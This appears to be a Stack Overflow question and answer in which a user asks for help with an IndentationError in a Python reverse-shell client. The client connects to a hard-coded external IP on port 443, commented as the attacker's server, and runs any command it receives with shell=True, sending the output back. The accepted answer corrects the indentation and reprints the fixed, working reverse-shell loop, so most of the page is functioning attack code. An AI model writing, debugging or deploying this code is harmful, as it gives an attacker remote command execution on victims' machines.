1

I've created a python-program to let the server get the client cmd. But there are some problems in it. My server works, it is listening, but I don't know if the shell is working because there is a fault with my client.

#! /bin/usr/python
import socket, subprocess

HOST = '81.82.40.78'
PORT = 443

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# connect to server (attacker)
s.connect((HOST, PORT))

# Send we are connected
s.send('Connect established')

# start loop
while 1:
    # Receive shell command
    data = s.recv(1024)
    # Convert to string in case of it being an integer
    # if it's quit, then break out and close socket
    if data == "quit": break
    # Do shell command
        proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        # Read output
        stdout_value = proc.stdout.read() + proc.stderr.read()
        # Send output to server
        s.send(stdout_value)
    # Close socket
    s.close()

The mistake that is given to me is:

proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

There is a problem with the name - how do I go about fixing this?

3
  • 2
    Could you elaborate on "there is a problem with the name" ? Commented Mar 15, 2013 at 22:38
  • 1
    What is not working? Do you get any error? What is the error message and stack trace? Commented Mar 15, 2013 at 22:39
  • ile "Client.py", line 23 proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) ^ IndentationError: unexpected indent Commented Mar 15, 2013 at 22:48

1 Answer 1

2

You need to fix your indentation after the if statement (which you limited to one line only). I moved the break to the next line, indented properly, illustrate:

while 1:
    # Receive shell command
    data = s.recv(1024)
    # Convert to string in case of it being an integer
    # if it's quit, then break out and close socket
    if data == "quit":
        break
    # Do shell command
    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    # Read output
    stdout_value = proc.stdout.read() + proc.stderr.read()
    # Send output to server
    s.send(stdout_value)
# Close socket
s.close()

Note that you had indented everything from the if line onwards one indent too many, including the s.close() statement that belongs outside of the while loop.

Sign up to request clarification or add additional context in comments.

1 Comment

Thank you very much. I work in ubuntu, in the terminal, so it only gives one error at the time. Now I just got a new error, would it be possible to give my code, so you could check it?

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.